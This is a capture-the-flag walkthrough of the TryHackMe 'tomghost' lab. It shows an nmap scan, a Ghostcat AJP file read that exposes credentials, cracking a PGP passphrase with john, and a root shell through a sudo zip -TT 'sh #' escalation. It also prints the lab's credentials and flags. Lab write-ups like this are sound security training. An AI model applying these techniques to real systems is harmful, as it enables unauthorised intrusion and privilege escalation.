TryHackMe - tomghost

A super easy CTF that starts off with the ghostcat vuln

Tomghost

Scan

As always, we start by scanning open ports. -sV for version info, -sC default scripts, --open to list only those ports reported as open, -Pn skip the ICMP ping.


    $ nmap -sV -sC --open -Pn 10.10.193.203
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 00:52 EDT
    Nmap scan report for 10.10.193.203
    Host is up (0.28s latency).
    Not shown: 996 closed tcp ports (conn-refused)
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
    |   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
    |_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
    53/tcp   open  tcpwrapped
    8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
    | ajp-methods: 
    |_  Supported methods: GET HEAD POST OPTIONS
    8080/tcp open  http       Apache Tomcat 9.0.30
    |_http-title: Apache Tomcat/9.0.30
    |_http-favicon: Apache Tomcat
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ghostcat vuln

This box jumped out at me because it took me forever to identify the ghostcat vulnerability in another recent setting where I really could have used it. Port 8009 being open and reporting as ajp almost certainly means that's the way to go (plus, come on, read the title of the CTF).

$ searchsploit ghostcat
------------------------------------------------------------------ --------------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ --------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion                 | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)   | multiple/webapps/49039.rb
------------------------------------------------------------------ --------------------------------
Shellcodes: No Results

The Apache Tomcat - AJP 'Ghostcat File Read/Inclusion allows unauthenticated reading of certain local files. We find what looks like credentials in the WEB-INF/web.xml file.

    skyfuck:8730281lkjlkjdqlksalks

Utilizing those allows us to ssh to the victim machine and begin poking around. Among the file in the user's home directory is a tryhackme.asc private PGP key. In order to use it, presumably on the credentials.pgp file, we'll need to get the password protecting it.

Crack gpg password

First we copy the file to our attacker machine for cracking with john the ripper.

    $ scp skyfuck@10.10.253.114:tryhackme.asc .
    skyfuck@10.10.253.114's password: 
    tryhackme.asc    
                                                                                                                                                             
    ┌──(kali㉿kali)-[~/ctf/tryhackme/tomghost]
    └─$ gpg2john tryhackme.asc > tryhackme.john  

    File tryhackme.asc
                                                                                                                                                             
    ┌──(kali㉿kali)-[~/ctf/tryhackme/tomghost]
    └─$ john -wordlist:/usr/share/wordlists/rockyou.txt tryhackme.johnCommand 'wordlist' not found, did you mean:
      command 'wordlists' from deb wordlists
    Try:john -wordlist:/usr/share/wordlists/rockyou.txt tryhackme.john
    Using default input encoding: UTF-8
    Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
    Cost 1 (s2k-count) is 65536 for all loaded hashes
    Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
    Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
    Will run 4 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    alexandru        (tryhackme)     
    1g 0:00:00:00 DONE (2022-07-24 01:45) 6.250g/s 6700p/s 6700c/s 6700C/s theresa..alexandru
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed.

Decrypt credentials

And then we use that private key and the password john found to get the next user's credentials.

    skyfuck@ubuntu:~$ gpg --import < tryhackme.asc 
    gpg: directory `/home/skyfuck/.gnupg' created
    gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
    gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
    gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
    gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
    gpg: key C6707170: secret key imported
    gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
    gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
    gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
    gpg: Total number processed: 2
    gpg:               imported: 1
    gpg:              unchanged: 1
    gpg:       secret keys read: 1
    gpg:   secret keys imported: 1

    skyfuck@ubuntu:~$ gpg credential.pgp 

    You need a passphrase to unlock the secret key for
    user: "tryhackme <stuxnet@tryhackme.com>"
    1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

    gpg: gpg-agent is not available in this session
    gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
    gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"

    skyfuck@ubuntu:~$ cat credential
    merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Merlin

This user has the first flag in user.txt and the .sudo_as_admin_successful file gives us a possible hint on privilege escalation.

    skyfuck@ubuntu:~$ su merlin
    Password: 
    merlin@ubuntu:/home/skyfuck$ cd
    merlin@ubuntu:~$ la
    .bash_history  .bash_logout  .bashrc  .cache  .nano  .profile      .sudo_as_admin_successful  user.txt
    merlin@ubuntu:~$ cat user.txt
    THM{GhostCat_1s_so_cr4sy}

Priv esc

    merlin@ubuntu:~$ sudo -l
    Matching Defaults entries for merlin on ubuntu:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

    User merlin may run the following commands on ubuntu:
        (root : root) NOPASSWD: /usr/bin/zip

So this user can execute sudo zip which might have a couple of different ways to escalate. When I'm not sure, I like to check out GTFOBins. That gives us an example of the -T option which tests the integrity of a zip file and -TT which executes an alternative program specified by the caller to do so.

       -T
       --test
              Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with the -m opti
on) no input files are  re‐
              moved.

       -TT cmd
       --unzip-command cmd
              Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.  On Unix, to use a copy of unzip in the current di‐
              rectory instead of the standard system unzip, could use:

               zip archive file1 file2 -T -TT "./unzip -tqq"

              In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command.  The
              return code is checked for success (0 on Unix).

Since we're executing zip with admin privileges, that can get us a root shell:

    merlin@ubuntu:~$ TF=$(mktemp -u)
    merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
      adding: etc/hosts (deflated 31%)
    # id
    uid=0(root) gid=0(root) groups=0(root)
    
    # cat root.txt
    THM{Z1P_1S_FAKE}